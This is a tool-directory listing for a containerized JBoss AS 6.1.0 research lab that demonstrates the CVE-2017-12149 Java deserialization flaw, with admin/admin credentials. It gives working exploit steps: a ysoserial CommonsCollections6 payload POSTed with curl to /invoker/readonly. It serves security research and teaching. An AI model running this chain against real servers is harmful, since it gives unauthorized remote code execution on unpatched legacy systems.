Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2017-12149-playground — Containerized JBoss AS 6.1.0 research lab for demonstrating Java Deserialization (CVE-2017-12149) and JBoss Seam EL Injection vulnerabilities with pre-configured exploit verification steps. | Kitploit
Tools/GitHubGitHub/galois17/cve-2017-12149-playground
Container SecurityVulnerability AnalysisWeb Application ExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubgalois17/cve-2017-12149-playground

cve-2017-12149-playground

Containerized JBoss AS 6.1.0 research lab for demonstrating Java Deserialization (CVE-2017-12149) and JBoss Seam EL Injection vulnerabilities with pre-configured exploit verification steps.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
48 months agoNot yet reviewed

Many critical industries (banking, healthcare, and manufacturing) rely on legacy middleware that was built to run specifically on JBoss 5 or 6. Because these applications are often too fragile to migrate to modern versions of WildFly (the successor to JBoss), organizations choose to "air-gap" or hide them behind VPNs rather than patching them. When those perimeter defenses fail, the vulnerability is still sitting there, live and unpatched.

JBoss AS 6.1.0 Vulnerability Research Lab

This repository provides a containerized JBoss Application Server 6.1.0 environment specifically configured for security research and vulnerability verification. It is designed to demonstrate Java Deserialization and JBoss Seam EL Injection flaws.


Quick Start

1. Build and Launch

To ensure the custom credentials and configurations are correctly applied, build the container from scratch:

root@kitploit:~
docker-compose build --no-cache
docker-compose up -d

2. Access the Environment

JBoss Console: http://localhost:8080/admin-console/

Username: admin

Password: admin

Verified Vulnerabilities

1. Java Deserialization (CVE-2017-12149)

The most reliable exploit path in this environment is through the HTTPServerILServlet located at /invoker/readonly.

Verification Steps:

Generate a payload using ysoserial to create a file in /tmp:

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser

Send the binary payload via curl:

root@kitploit:~
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly

Confirm the exploit worked:

root@kitploit:~
docker exec -it jboss-custom-lab ls /tmp/pwned

Security Disclaimer This environment is intentionally vulnerable. It contains unpatched, end-of-life software.

DO NOT deploy this on a public-facing server.

DO NOT use these tools on systems you do not have explicit permission to test.

Developed for educational purposes and security research.

Dependencies: https://github.com/frohoff/ysoserial

Download Tool